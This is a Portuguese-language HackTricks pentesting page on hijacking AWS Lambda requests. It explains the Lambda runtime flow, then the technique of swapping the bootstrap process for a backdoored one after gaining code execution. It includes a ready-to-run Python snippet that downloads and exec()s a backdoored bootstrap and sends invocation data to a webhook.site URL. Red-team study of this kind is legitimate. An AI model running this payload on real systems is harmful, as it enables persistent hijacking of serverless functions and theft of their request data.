AWS - Roubar Requisições Lambda
Reading time: 4 minutes
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
Fluxo Lambda
.png)
https://unit42.paloaltonetworks.com/wp-content/uploads/2019/10/lambda_poc_2_arch.png
- Slicer é um processo fora do contêiner que envia invocações para o processo init.
- O processo init escuta na porta 9001 expondo alguns endpoints interessantes:
/2018-06-01/runtime/invocation/next
– obter o próximo evento de invocação/2018-06-01/runtime/invocation/{invoke-id}/response
– retornar a resposta do manipulador para a invocação/2018-06-01/runtime/invocation/{invoke-id}/error
– retornar um erro de execução
- bootstrap.py tem um loop obtendo invocações do processo init e chama o código do usuário para manipulá-las (
/next
). - Finalmente, bootstrap.py envia para init a resposta
Note que o bootstrap carrega o código do usuário como um módulo, então qualquer execução de código realizada pelo código do usuário está realmente acontecendo neste processo.
Roubo de Requisições Lambda
O objetivo deste ataque é fazer com que o código do usuário execute um processo malicioso bootstrap.py
dentro do processo bootstrap.py
que manipula a requisição vulnerável. Dessa forma, o processo malicioso bootstrap começará a comunicar-se com o processo init para manipular as requisições enquanto o bootstrap legítimo está preso executando o malicioso, de modo que não pedirá requisições ao processo init.
Esta é uma tarefa simples de alcançar, pois o código do usuário está sendo executado pelo legítimo processo bootstrap.py
. Assim, o atacante poderia:
- Enviar um resultado falso da invocação atual para o processo init, para que o init pense que o processo bootstrap está aguardando mais invocações.
- Uma requisição deve ser enviada para
/${invoke-id}/response
- O invoke-id pode ser obtido da pilha do legítimo processo
bootstrap.py
usando o módulo python inspect (como proposto aqui) ou apenas solicitando-o novamente para/2018-06-01/runtime/invocation/next
(como proposto aqui). - Executar um
boostrap.py
malicioso que irá manipular as próximas invocações - Para fins de furtividade, é possível enviar os parâmetros das invocações lambda para um C2 controlado pelo atacante e então manipular as requisições como de costume.
- Para este ataque, é suficiente obter o código original de
bootstrap.py
do sistema ou github, adicionar o código malicioso e executá-lo a partir da invocação lambda atual.
Passos do Ataque
- Encontrar uma vulnerabilidade RCE.
- Gerar um bootstrap malicioso (por exemplo, https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py)
- Executar o bootstrap malicioso.
Você pode facilmente realizar essas ações executando:
python3 <<EOF
import os
import urllib3
# Download backdoored bootstrap
http = urllib3.PoolManager()
backdoored_bootstrap_url = "https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py"
new_runtime = http.request('GET', backdoored_bootstrap_url).data
# Load new bootstrap
os.environ['URL_EXFIL'] = "https://webhook.site/c7036f43-ce42-442f-99a6-8ab21402a7c0"
exec(new_runtime)
EOF
Para mais informações, consulte https://github.com/carlospolop/lambda_bootstrap_switcher
Referências
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.